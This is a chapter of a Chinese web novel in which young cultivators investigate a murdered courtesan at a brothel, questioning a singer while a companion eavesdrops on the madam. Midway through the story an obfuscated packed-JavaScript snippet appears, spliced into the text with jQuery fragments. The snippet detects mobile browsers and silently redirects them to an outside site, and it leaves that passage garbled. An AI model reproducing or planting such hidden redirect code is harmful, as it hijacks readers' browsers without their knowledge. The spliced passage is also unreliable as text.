几人在客栈待到华灯初上,一起看过元氏递到万仞剑宗的奏报,便商量着去万花楼。
只是五人一起实在是太过醒目,云璇怕打草惊蛇,便提出分头行动。
这话一出,谢婉便立刻说要和云璇一起。
白清阳看了眼云璇,对谢婉露出个温和的笑容,“还是我和小师姐一组吧。”
谢婉很不服气,“为什么,我和璇姐都是姑娘,一起行动合情合理。”
卫徵看两人争起来了,便也跟着悠悠开口,“那我也……”
“不行!”这下两人倒是统一意见了。
“诶诶,此言差矣。”宋杭一故弄玄虚地晃晃手指,“正因为谢姑娘和云姑娘都是姑娘家,去万花楼那种地方才要小心。我看云姑娘就交给她师弟,谢姑娘你就放心跟着我宋杭一吧!”
谢婉顿时一脸菜色,挥挥手还往旁边挪挪试图远离宋杭一,“不需要,多谢。”
“什么嘛!谢姑娘你难道嫌弃我吗?”
几人吵闹一番,最后还是决定白清阳和云璇去内间,宋杭一和谢婉去大堂,卫徵见机行事。
白清阳和云璇率先进了万花楼,此时才至酉时,万花楼刚刚开门营业,客人尚不多。
门口的老鸨堆着笑迎上来,见两人穿着像仙门中人,又是一男一女来的,便把围上来的姑娘们挥开,引着他们上了二楼。
“我带两位仙师去包房吧,仙师是想听曲呢还是看舞呀?”
云璇想到之前出事的正是歌女,便说要听曲。
老鸨又看向白清阳,“那这位仙师呢?”
白清阳自然乖顺地表示都听云璇的。
老鸨见两人之中做主的是云璇,对她更热情了。
等云璇选好中意的房间,她给两人倒了茶就很有眼力见地笑呵呵出去了。
白清阳在屋内走了一圈,房间里干净齐整,倒是没有他想象中那些不堪入目的东西。
云璇进门就坐下,看着白清阳转来转去,泰然自若地喝了口茶,“白师弟,你紧张什么呢,师姐不会对你做什么的。”
白清阳被云璇调侃得耳朵一红,赶紧走回来坐好,“不敢,小师姐定然是正人君子,是我第一次来这种地方,局促了。”
“白师弟确实经验少了,怪不得松月师叔说你要多历练呢。”
云璇笑了两声,看白清阳坐在旁边一口气憋红了脸,双手握拳抓着膝上那块布料反复碾磨,开口语调为难又恳求的。
“小师姐,你就别逗我玩了。”
“好好好,你松口气。”
两人说着话,恰时歌女抱着琴走了进来安置好,盈盈一礼,托着长纱绸裙坐在一旁的圆凳上,含羞带怯的看看云璇又看看白清阳。
“奴家秋月,两位仙师想听什么曲子,奴家会的可多了。”
“哎,这都到梅城了,秋月姑娘就来首梅花三弄吧。”
云璇思索了一下点了支清雅的曲子,白清阳当然是一切都听云璇的,理了理衣摆便跟着云璇听起曲来。
一曲终了,云璇放下茶杯笑弯了眼,捧场的鼓掌,“好,好曲子,秋月姑娘这样好的手艺,怕是花魁娘子也比不过吧。”
白清阳下午和几人一起看了元氏奏报,一听就反应过来万花楼前任花魁不正是那遇害歌女。
秋月被夸得有些羞赧,一张小脸红扑扑的,走到桌旁替云璇沏茶,“奴家是新人,怎么比得上花魁娘子,仙师莫要取笑了。”
“这花魁娘子是何许人也,竟然比秋月姑娘技艺还高超吗?”
云璇接了茶,把秋月拉着坐下,笑嘻嘻递过去一块荷花酥,歪头打趣。
秋月也不客气地接了,甜甜应一声,“多谢仙师。”
“可惜我们万花楼如今还没有花魁,上任花魁红梅姐姐前些日子出了事情,不然仙师都能一饱眼福了。”
秋月看起来很为云璇惋惜。
“她出什么事情了?被情郎赎走了?”
云璇满眼好奇支肘托腮咬口荷花酥,再把茶分给白清阳一杯,做足一副八卦样。
“没有,我们楼里的姑娘是不能赎走的……”
秋月话出口才想过来说这不是要说漏嘴了吗,委委屈屈咬着唇。
“仙师,妈妈说了不许我们把红梅姐姐的事情说出去的。”
“你们这妈妈也真是,我们闲聊几句,这有什么说不得的嘛。”
“红梅姐姐死得有些蹊跷,仙师手眼通天,又有这么俊俏的郎君陪着,自然不怕。我们万花楼的姑娘最是娇弱,哪里敢传这些话出去,怕是恩客都不来了。”
秋月听着话茬,云璇像是不高兴了,不免惶恐起来,她不敢惹恼客人,只能松口挑拣些不要紧的说,捏着帕子一副被逼无奈泫然欲泣的楚楚可怜模样。
“仙师可不要外道了。”
正说着,秋月背后的窗框忽然被人从外推开,云璇和白清阳双双抬眼看去,窗后竟然露出卫徵的脸,直把云璇看得呛了口茶。
秋月吓一大跳,思忖着自己难道又说错话了,慌忙一面躬身致歉一面拿手帕给云璇擦水渍。
白清阳趁她全神贯注在云璇身上,缓缓站起身,随即挥出一记凌厉的手刀,劈晕她后整个抬到内间的床上躺着。
秋月本就穿得单薄,一来一回衣裳还有些挣开,白清阳只能抻开榻上的被褥盖在秋月身上,也遮住她有些散开的领口。
卫徵得以从窗外翻身进来。
云璇这边缓过气,擦干净脸,看着卫徵翻进来,语气惊诧,“你这是做什么,怎么从窗子翻进来了。”
原来卫徵进万花楼之后,要了个堂桌,然后便按云璇说的“见机行事”。
他在大堂里坐了几刻,先是将宋杭一给的荷包递给前来伺候的姑娘,将她打发走,然后喝着茶观察周围的客人。
此时夜还未深,多是些寻欢作乐的文人雅客,就着台上的琴音附庸风雅,气氛并不嘈杂,也没见到可疑人士。
既然未见异常,卫徵就打算再在楼里逛一逛,却见那老鸨点头哈腰地引了三个黑衣壮汉上二楼,走进右边回廊最内侧的包厢,接着那老鸨在门口左顾右盼一番,也跟着进去。
行径如此顾头顾尾,颇为可疑。
卫徵便跟上去,躲进隔壁房间偷听。
这本是间空屋,可卫徵才刚待了一会,就有姑娘带着客人进来,两人调笑着往内间走。
卫徵担心被这两人发现恐怕会惊动隔壁,慌不择路之下躲到窗外,想着这样也能听见隔壁说话。
结果房内两人眼看着拉拉扯扯,声音也黏糊起来,反应过来他们在做什么的卫徵下意识就逃了过来。
“可你怎么知道我和小师姐在这个房间?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132513|196228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
白清阳转身走回,听完卫徵陈述来龙去脉,脸上浮现出疑惑的神情。
未免引人注目,他们是分批进入万花楼的,卫徵比二人后进,照理说不该知道他们在哪间房。
听他问完,云璇和卫徵两人同时僵住,露出一丝尴尬的笑,这该怎么回答呢,总不能说卫徵闻着味来的吧。
一时间,房间里有两个抓心挠肝的人,一个满心困惑的人。
白清阳左看看右看看,呆呆地眨巴两下眼睛,无措地看向云璇,“小师姐?你们怎么了?”
云璇被点名,支吾了两声不知怎么解释,要是如实说,那不是点破人家的秘密,这样做朋友也太不义气,好歹卫徵还送她礼呢。
幸而这时大堂突然嘈杂起来,原本隐隐约约的丝竹声蓦地中断,只剩纷乱的争执声传上二楼,恰好打破了屋内的僵局。
云璇往门外看了看,这个时辰谢婉和宋杭一已经进来,大堂突发变故,恐怕需要人手帮忙。
“白师弟,你去看看是不是宋道友和谢婉他们出事了。”
白清阳得了令,便不再多问,转身去了。
卫徵有些尴尬的和云璇大眼瞪小眼,想着编个什么理由能把她糊弄过去。
偏这时候他的脑子转不动,看着云璇那双琥珀色的眸子,卫徵实在想不出什么瞎话能让她相信。
又或许是他不想骗她,总之是什么都没说出口。
两人对视了一会,云璇干笑两声,“白师弟净问傻问题,还能为什么呀,肯定是听见声音了嘛。”
她转而若无其事的坐下喝起茶来,“你听见那老鸨和他们谈了什么。”
“她和那三人说了我们,又问寄存的东西什么时候拿走,很是焦急,多半就是那东西这杀了人吧。”
卫徵见云璇没有纠结这个问题,便也默契地翻过这篇,清了清嗓子向云璇和盘托出。
云璇又放下茶杯站起来走到卫徵跟前,“既然如此,说明我们已经引起他们注意,那三人定会将那物转走,事不宜迟……”
她话音还未落,那边秋月咿呀几声,悠悠转醒,揉着脖子撑起上半身,“疼死了……这是怎么一回事?”
她看见卫徵大吃一惊,又环视屋内没再见着白清阳的身影,自己还躺在榻上,满腹狐疑。
“这位郎君是……”
云璇一时语塞,心想这个白清阳到底是没有经验还是怜香惜玉,下手也太轻,这才多久就醒了。
这下好了,怎么解释呢。
这一天天的怎么净要跟别人解释这解释那,云璇很郁闷。
还没等她想出编些什么,秋月说着说着,不知想到了什么,突然止住了话头,颇为佩服的看一眼云璇,利落地下榻收拾东西。
“仙师,这种事咱们楼里常有,好多夫人小姐都这样会情郎的,大可不必专门打晕奴家。”
“您也放心,奴家不会把这位郎君的事告诉先前那位郎君的,你们尽可相会,奴家就先下去了,顺便帮您望望风。”
云璇一听就知道她肯定误会了,但她都自觉要走了,又何必做多余的解释再留下她呢,干脆顺势挽住卫徵的胳膊,眼含感激地目送秋月出去。
只留卫徵一头雾水,“什么这个郎君那个郎君。”
“不懂的事情就算了,不要老问。”
“哦。”